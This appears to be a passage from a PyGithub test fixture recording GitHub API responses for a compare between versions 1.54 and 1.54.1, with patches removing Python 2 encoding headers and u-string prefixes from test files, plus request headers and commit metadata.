#"},{"sha":"f1c3d2d0af1f013b265408aed52ed8ecd1ec81dd","filename":"tests/RequiredPullRequestReviews.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FRequiredPullRequestReviews.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FRequiredPullRequestReviews.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FRequiredPullRequestReviews.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Steve Kowalik #"},{"sha":"882c57c55a0fb838921448798c49261b42d5c118","filename":"tests/RequiredStatusChecks.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FRequiredStatusChecks.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FRequiredStatusChecks.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FRequiredStatusChecks.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Steve Kowalik #"},{"sha":"940d405848b2609feee66e507956aa828120d423","filename":"tests/Retry.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FRetry.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FRetry.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FRetry.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Justin Kufro #"},{"sha":"f7e2ffe175a990f0d5b6c24981c10e6993c5bcbf","filename":"tests/Search.py","status":"modified","additions":115,"deletions":117,"changes":232,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FSearch.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FSearch.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FSearch.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2014 Vincent Jacques #\n@@ -43,41 +41,41 @@ def testPaginateSearchUsers(self):\n users,\n lambda u: u.login,\n [\n- u\"cloudhead\",\n- u\"felixge\",\n- u\"sferik\",\n- u\"rkh\",\n- u\"jezdez\",\n- u\"janl\",\n- u\"marijnh\",\n- u\"nikic\",\n- u\"igorw\",\n- u\"froschi\",\n- u\"svenfuchs\",\n- u\"omz\",\n- u\"chad\",\n- u\"bergie\",\n- u\"roidrage\",\n- u\"pcalcado\",\n- u\"durran\",\n- u\"hukl\",\n- u\"mttkay\",\n- u\"aFarkas\",\n- u\"ole\",\n- u\"hagenburger\",\n- u\"jberkel\",\n- u\"naderman\",\n- u\"joshk\",\n- u\"pudo\",\n- u\"robb\",\n- u\"josephwilk\",\n- u\"hanshuebner\",\n- u\"txus\",\n- u\"paulasmuth\",\n- u\"splitbrain\",\n- u\"langalex\",\n- u\"bendiken\",\n- u\"stefanw\",\n+ \"cloudhead\",\n+ \"felixge\",\n+ \"sferik\",\n+ \"rkh\",\n+ \"jezdez\",\n+ \"janl\",\n+ \"marijnh\",\n+ \"nikic\",\n+ \"igorw\",\n+ \"froschi\",\n+ \"svenfuchs\",\n+ \"omz\",\n+ \"chad\",\n+ \"bergie\",\n+ \"roidrage\",\n+ \"pcalcado\",\n+ \"durran\",\n+ \"hukl\",\n+ \"mttkay\",\n+ \"aFarkas\",\n+ \"ole\",\n+ \"hagenburger\",\n+ \"jberkel\",\n+ \"naderman\",\n+ \"joshk\",\n+ \"pudo\",\n+ \"robb\",\n+ \"josephwilk\",\n+ \"hanshuebner\",\n+ \"txus\",\n+ \"paulasmuth\",\n+ \"splitbrain\",\n+ \"langalex\",\n+ \"bendiken\",\n+ \"stefanw\",\n ],\n )\n self.assertEqual(users.totalCount, 6038)\n@@ -87,36 +85,36 @@ def testGetPageOnSearchUsers(self):\n self.assertEqual(\n [u.login for u in users.get_page(7)],\n [\n- u\"ursachec\",\n- u\"bitboxer\",\n- u\"fs111\",\n- u\"michenriksen\",\n- u\"witsch\",\n- u\"booo\",\n- u\"mortice\",\n- u\"r0man\",\n- u\"MikeBild\",\n- u\"mhagger\",\n- u\"bkw\",\n- u\"fwbrasil\",\n- u\"mschneider\",\n- u\"lydiapintscher\",\n- u\"asksven\",\n- u\"iamtimm\",\n- u\"sneak\",\n- u\"kr1sp1n\",\n- u\"Feh\",\n- u\"GordonLesti\",\n- u\"annismckenzie\",\n- u\"eskimoblood\",\n- u\"tsujigiri\",\n- u\"riethmayer\",\n- u\"lauritzthamsen\",\n- u\"scotchi\",\n- u\"peritor\",\n- u\"toto\",\n- u\"hwaxxer\",\n- u\"lukaszklis\",\n+ \"ursachec\",\n+ \"bitboxer\",\n+ \"fs111\",\n+ \"michenriksen\",\n+ \"witsch\",\n+ \"booo\",\n+ \"mortice\",\n+ \"r0man\",\n+ \"MikeBild\",\n+ \"mhagger\",\n+ \"bkw\",\n+ \"fwbrasil\",\n+ \"mschneider\",\n+ \"lydiapintscher\",\n+ \"asksven\",\n+ \"iamtimm\",\n+ \"sneak\",\n+ \"kr1sp1n\",\n+ \"Feh\",\n+ \"GordonLesti\",\n+ \"annismckenzie\",\n+ \"eskimoblood\",\n+ \"tsujigiri\",\n+ \"riethmayer\",\n+ \"lauritzthamsen\",\n+ \"scotchi\",\n+ \"peritor\",\n+ \"toto\",\n+ \"hwaxxer\",\n+ \"lukaszklis\",\n ],\n )\n \n@@ -128,41 +126,41 @@ def testSearchRepos(self):\n repos,\n lambda r: r.full_name,\n [\n- u\"kennethreitz/legit\",\n- u\"RuudBurger/CouchPotatoV1\",\n- u\"gelstudios/gitfiti\",\n- u\"gpjt/webgl-lessons\",\n- u\"jacquev6/PyGithub\",\n- u\"aaasen/github_globe\",\n- u\"hmason/gitmarks\",\n- u\"dnerdy/factory_boy\",\n- u\"binaryage/drydrop\",\n- u\"bgreenlee/sublime-github\",\n- u\"karan/HackerNewsAPI\",\n- u\"mfenniak/pyPdf\",\n- u\"skazhy/github-decorator\",\n- u\"llvmpy/llvmpy\",\n- u\"lexrupy/gmate\",\n- u\"ask/python-github2\",\n- u\"audreyr/cookiecutter-pypackage\",\n- u\"tabo/django-treebeard\",\n- u\"dbr/tvdb_api\",\n- u\"jchris/couchapp\",\n- u\"joeyespo/grip\",\n- u\"nigelsmall/py2neo\",\n- u\"ask/chishop\",\n- u\"sigmavirus24/github3.py\",\n- u\"jsmits/github-cli\",\n- u\"lincolnloop/django-layout\",\n- u\"amccloud/django-project-skel\",\n- u\"Stiivi/brewery\",\n- u\"webpy/webpy.github.com\",\n- u\"dustin/py-github\",\n- u\"logsol/Github-Auto-Deploy\",\n- u\"cloudkick/libcloud\",\n- u\"berkerpeksag/github-badge\",\n- u\"bitprophet/ssh\",\n- u\"azavea/OpenTreeMap\",\n+ \"kennethreitz/legit\",\n+ \"RuudBurger/CouchPotatoV1\",\n+ \"gelstudios/gitfiti\",\n+ \"gpjt/webgl-lessons\",\n+ \"jacquev6/PyGithub\",\n+ \"aaasen/github_globe\",\n+ \"hmason/gitmarks\",\n+ \"dnerdy/factory_boy\",\n+ \"binaryage/drydrop\",\n+ \"bgreenlee/sublime-github\",\n+ \"karan/HackerNewsAPI\",\n+ \"mfenniak/pyPdf\",\n+ \"skazhy/github-decorator\",\n+ \"llvmpy/llvmpy\",\n+ \"lexrupy/gmate\",\n+ \"ask/python-github2\",\n+ \"audreyr/cookiecutter-pypackage\",\n+ \"tabo/django-treebeard\",\n+ \"dbr/tvdb_api\",\n+ \"jchris/couchapp\",\n+ \"joeyespo/grip\",\n+ \"nigelsmall/py2neo\",\n+ \"ask/chishop\",\n+ \"sigmavirus24/github3.py\",\n+ \"jsmits/github-cli\",\n+ \"lincolnloop/django-layout\",\n+ \"amccloud/django-project-skel\",\n+ \"Stiivi/brewery\",\n+ \"webpy/webpy.github.com\",\n+ \"dustin/py-github\",\n+ \"logsol/Github-Auto-Deploy\",\n+ \"cloudkick/libcloud\",\n+ \"berkerpeksag/github-badge\",\n+ \"bitprophet/ssh\",\n+ \"azavea/OpenTreeMap\",\n ],\n )\n \n@@ -202,7 +200,7 @@ def testSearchTopics(self):\n self.assertListKeyBegin(\n topics,\n lambda r: r.name,\n- [u\"python\", u\"django\", u\"flask\", u\"ruby\", u\"scikit-learn\", u\"wagtail\"],\n+ [\"python\", \"django\", \"flask\", \"ruby\", \"scikit-learn\", \"wagtail\"],\n )\n \n def testPaginateSearchTopics(self):\n@@ -215,20 +213,20 @@ def testSearchCode(self):\n files,\n lambda f: f.name,\n [\n- u\"Commit.setUp.txt\",\n- u\"PullRequest.testGetFiles.txt\",\n- u\"NamedUser.testGetEvents.txt\",\n- u\"PullRequest.testCreateComment.txt\",\n- u\"PullRequestFile.setUp.txt\",\n- u\"Repository.testGetIssuesWithWildcards.txt\",\n- u\"Repository.testGetIssuesWithArguments.txt\",\n- u\"test_ebnf.cpp\",\n- u\"test_abnf.cpp\",\n- u\"PullRequestFile.py\",\n- u\"SystemCalls.py\",\n- u\"tests.py\",\n- u\"LexerTestCase.py\",\n- u\"ParserTestCase.py\",\n+ \"Commit.setUp.txt\",\n+ \"PullRequest.testGetFiles.txt\",\n+ \"NamedUser.testGetEvents.txt\",\n+ \"PullRequest.testCreateComment.txt\",\n+ \"PullRequestFile.setUp.txt\",\n+ \"Repository.testGetIssuesWithWildcards.txt\",\n+ \"Repository.testGetIssuesWithArguments.txt\",\n+ \"test_ebnf.cpp\",\n+ \"test_abnf.cpp\",\n+ \"PullRequestFile.py\",\n+ \"SystemCalls.py\",\n+ \"tests.py\",\n+ \"LexerTestCase.py\",\n+ \"ParserTestCase.py\",\n ],\n )\n self.assertEqual(files[0].repository.full_name, \"jacquev6/PyGithub\")"},{"sha":"f464d8c7756b3f15006b06a97a5554689531a010","filename":"tests/SelfHostedActionsRunner.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FSelfHostedActionsRunner.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FSelfHostedActionsRunner.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FSelfHostedActionsRunner.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\r\n-\r\n ############################ Copyrights and license ############################\r\n # #\r\n # Copyright 2020 Victor Zeng #\r"},{"sha":"4d97ac970a00ea1787d9dc65ca023be16e892ef6","filename":"tests/SourceImport.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FSourceImport.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FSourceImport.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FSourceImport.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Hayden Fuss #"},{"sha":"270e2d88a14564f6097283c84b8dbf1e792ac5fb","filename":"tests/Tag.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FTag.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FTag.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FTag.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"c2d9d46bff5d68844afd16b5b56030afa4b49a75","filename":"tests/Team.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FTeam.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FTeam.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FTeam.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"8bdfeaaf037cdf07efa1b24b42e7a36410ab969d","filename":"tests/Topic.py","status":"modified","additions":1,"deletions":3,"changes":4,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FTopic.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FTopic.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FTopic.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2019 Adam Baratz #\n@@ -55,7 +53,7 @@ def testAllFields(self):\n self.assertEqual(topic.curated, True)\n self.assertEqual(topic.score, 7576.306)\n \n- self.assertEqual(topic.__repr__(), u'Topic(name=\"python\")')\n+ self.assertEqual(topic.__repr__(), 'Topic(name=\"python\")')\n \n def testNamesFromSearchResults(self):\n expected_names = ["},{"sha":"7dfe6dcc7421df0b3a81f06d31b220d6557a8baf","filename":"tests/Traffic.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FTraffic.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FTraffic.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FTraffic.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2018 Justin Kufro #"},{"sha":"36cf3d18b5e94b885a11188b72d848bd8d777015","filename":"tests/UserKey.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FUserKey.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FUserKey.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FUserKey.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"4f8ead191a6a86df5b821880cbfabc6be99de8fa","filename":"tests/Workflow.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FWorkflow.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FWorkflow.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FWorkflow.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Steve Kowalik #"},{"sha":"02054bd707942c4f02705bc83c87769e1003390b","filename":"tests/WorkflowRun.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FWorkflowRun.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2FWorkflowRun.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2FWorkflowRun.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Steve Kowalik #"},{"sha":"6b87e3610b80eb24a45d4bd453c42c9937d8ae7d","filename":"tests/__init__.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2F__init__.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2F__init__.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2F__init__.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2012 Vincent Jacques #"},{"sha":"2d5c77f33a288f18a9b73114572de1c5c3b9ec94","filename":"tests/conftest.py","status":"modified","additions":0,"deletions":2,"changes":2,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tests%2Fconftest.py","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tests%2Fconftest.py","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tests%2Fconftest.py?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,5 +1,3 @@\n-# -*- coding: utf-8 -*-\n-\n ############################ Copyrights and license ############################\n # #\n # Copyright 2020 Steve Kowalik #"},{"sha":"a7e67b244bb63cbaec0df7e66aa79d53924d153f","filename":"tox.ini","status":"modified","additions":1,"deletions":2,"changes":3,"blob_url":"https://github.com/PyGithub/PyGithub/blob/34d097ce473601624722b90fc5d0396011dd3acb/tox.ini","raw_url":"https://github.com/PyGithub/PyGithub/raw/34d097ce473601624722b90fc5d0396011dd3acb/tox.ini","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/tox.ini?ref=34d097ce473601624722b90fc5d0396011dd3acb","patch":"@@ -1,12 +1,11 @@\n [tox]\n envlist =\n lint,\n- py{35,36,37,38,39},\n+ py{36,37,38,39},\n docs\n \n [gh-actions]\n python =\n- 3.5: py35\n 3.6: py36, docs, lint\n 3.7: py37\n 3.8: py38"}]} + +https +GET +api.github.com +None +/repositories/3544490/compare/v1.54...v1.54.1?page=2&per_page=4 +{'Authorization': 'token private_token_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Wed, 24 Jan 2024 06:45:30 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"6a2540e749bca921514c34cdd8a33cf658bbd410aee3eb837f2e2498e99b3558"'), ('Last-Modified', 'Thu, 24 Dec 2020 04:11:01 GMT'), ('github-authentication-token-expiration', '2024-02-19 10:58:06 +0100'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="last", ; rel="next", ; rel="first", ; rel="prev"'), ('x-accepted-github-permissions', 'contents=read'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4962'), ('X-RateLimit-Reset', '1706081414'), ('X-RateLimit-Used', '38'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B656:2D7FFC:1F48C1B:1FBD2A0:65B0B20A')] +{"url":"https://api.github.com/repos/PyGithub/PyGithub/compare/v1.54...v1.54.1","html_url":"https://github.com/PyGithub/PyGithub/compare/v1.54...v1.54.1","permalink_url":"https://github.com/PyGithub/PyGithub/compare/PyGithub:951fcdf...PyGithub:34d097c","diff_url":"https://github.com/PyGithub/PyGithub/compare/v1.54...v1.54.1.diff","patch_url":"https://github.com/PyGithub/PyGithub/compare/v1.54...v1.54.1.patch","base_commit":{"sha":"951fcdf23f8c657b525dee78086bc4dfd42ef810","node_id":"MDY6Q29tbWl0MzU0NDQ5MDo5NTFmY2RmMjNmOGM2NTdiNTI1ZGVlNzgwODZiYzRkZmQ0MmVmODEw","commit":{"author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2020-11-30T05:43:49Z"},"committer":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2020-11-30T05:43:49Z"},"message":"Publish version 1.54","tree":{"sha":"1a5bc94ff3672ddcd68c27ccbe4c12b44343bb3c","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/1a5bc94ff3672ddcd68c27ccbe4c12b44343bb3c"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810","html_url":"https://github.com/PyGithub/PyGithub/commit/951fcdf23f8c657b525dee78086bc4dfd42ef810","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810/comments","author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"committer":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"parents":[{"sha":"6d501b286e04f324bc87532003f0564624981ecb","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/6d501b286e04f324bc87532003f0564624981ecb","html_url":"https://github.com/PyGithub/PyGithub/commit/6d501b286e04f324bc87532003f0564624981ecb"}]},"merge_base_commit":{"sha":"951fcdf23f8c657b525dee78086bc4dfd42ef810","node_id":"MDY6Q29tbWl0MzU0NDQ5MDo5NTFmY2RmMjNmOGM2NTdiNTI1ZGVlNzgwODZiYzRkZmQ0MmVmODEw","commit":{"author":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2020-11-30T05:43:49Z"},"committer":{"name":"Steve Kowalik","email":"steven@wedontsleep.org","date":"2020-11-30T05:43:49Z"},"message":"Publish version 1.54","tree":{"sha":"1a5bc94ff3672ddcd68c27ccbe4c12b44343bb3c","url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees/1a5bc94ff3672ddcd68c27ccbe4c12b44343bb3c"},"url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/PyGithub/PyGithub/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810","html_url":"https://github.com/PyGithub/PyGithub/commit/951fcdf23f8c657b525dee78086bc4dfd42ef810","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/commits/951fcdf23f8c657b525dee78086bc4dfd42ef810/comments","author":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"committer":{"login":"s-t-e-v-e-n-k","id":15225059,"node_id":"MDQ6VXNlcjE1MjI1MDU5","avatar_url":"https://avatars.githubusercontent.com/u/15225059?v=4","gravatar_id":"","url":"https://api.github.com/users/s-t-e-v-e-n-k","html_url":"https://github.com/s-t-e-v-e-n-k","followers_url":"https://api.github.com/users/s-t-e-v-e-n-k/followers","following_url":"https://api.github.com/users/s-t-e-v-e-n-k/following{/other_user}","gists_url":"https://api.github.com/users/s-t-e-v-e-n-k/gists{/gist_id}","starred_url":"https://api.github.com/users/s-t-e-v-e-n-k/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/s-t-e-v-e-n-k/subscriptions","organizations_url":"https://api.github.com/users/s-t-e-v-e-n-k/orgs","repos_url":"https://api.github.com/users/s-t-e-v-e-n-k/repos","events_url":"https://api.github.com/users/s-t-e-v-e-n-k/events{/privacy}","received_events_url":"https://api.github.com/users/s-t-e-v-e-n-k/received_events","type":"User","site_admin":false},"parents":[{"sha":"6d501b286e04f324bc87532003f0564624981ecb","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/6d501b286e04f324bc87532003f0564624981ecb","html_url":"https://github.com/PyGithub/PyGithub/commit/6d501b286e04f324bc87532003f0564624981ecb"}]},"status":"ahead","ahead_by":10,"behind_by":0,"total_commits":10,"commits":[{"sha":"82c349ce3e1c556531110753831b3133334c19b7","node_id":"MDY6Q29tbWl0MzU0NDQ5MDo4MmMzNDljZTNlMWM1NTY1MzExMTA3NTM4MzFiMzEzMzMzNGMxOWI3","commit":{"author":{"name":"Paul Du Bois","email":"dubois@adobe.com","date":"2020-12-03T02:12:41Z"},"committer":{"name":"Paul Du Bois","email":"dubois@adobe.com","date":"2020-12-03T02:12:41Z"},"message":"Fix #1731: Incorrect 